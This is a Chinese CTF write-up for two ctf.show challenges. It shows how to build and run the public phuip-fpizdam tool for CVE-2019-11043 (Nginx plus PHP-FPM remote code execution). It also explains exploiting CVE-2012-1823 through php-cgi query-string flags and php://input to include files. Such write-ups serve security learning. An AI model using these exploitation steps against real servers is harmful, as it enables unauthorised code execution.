php-cve篇(CVE-2019-11043&CVE-2012-1823)

web312

CVE-2019-11043(使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。)

工具是基于go环境的,所以先在kali安装

XML 复制代码
//更新一下apt
sudo apt update
sudo apt upgrade

//安装go
apt install golang

//测试是否成功
go -version


//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

然后利用工具进行远程代码执行的利用go run . "http://351a2d6a-33c8-4a71-b150-2cd1c82b8eac.challenge.ctf.show/index.php"

如果报错如上图,执行命令切换为国内代理:go env -w GOPROXY=https://goproxy.cn

然后回到题目进行rce!

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

web313

CVE-2012-1823

XML 复制代码
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

​ RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。
那么就可以构造cgi中的命令!



cgi模式下有如下可控命令行参数可用:

-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么好查看源码使用-s(只要没有=就会把querystring当作cgi参数)

然后使用-d设置一下配置项,进行任意文件包含!

XML 复制代码
allow_url_include是否允许通过url进行文件包含
auto_prepend_file这个配置项在图片马也经常用到,在任意脚本执行前先执行指定脚本

由于不能用未编码的=,那么我们编码即可!然后还有就是空格的问题,得用+而不是%20,这不知道为啥,好像说是querystring多用+吧!

用php://input伪协议即可!

相关推荐
QQ12958455043 小时前
Mac添加全局变量
开发语言·macos
郝学胜-神的一滴3 小时前
Effective STL 第1条:慎重选择容器类型
开发语言·c++·程序人生·软件工程
阿明63 小时前
list模拟实现(简单版)【C++】
开发语言·c++·学习·list
Yupureki4 小时前
从零开始的C++学习生活 1:命名空间,缺省函数,函数重载,引用,内联函数
c语言·开发语言·c++·学习·visual studio
鄃鳕4 小时前
高并发日志项目中,C++IO的使用
开发语言·c++
点云侠4 小时前
PCL 生成缺角立方体点云
开发语言·c++·人工智能·算法·计算机视觉
MediaTea5 小时前
Python 库手册:keyword 关键字查询
开发语言·python
睿思达DBA_WGX5 小时前
使用 python-docx 库操作 word 文档(1):文件操作
开发语言·python·word
人工干智能10 小时前
科普:Python 中,字典的“动态创建键”特性
开发语言·python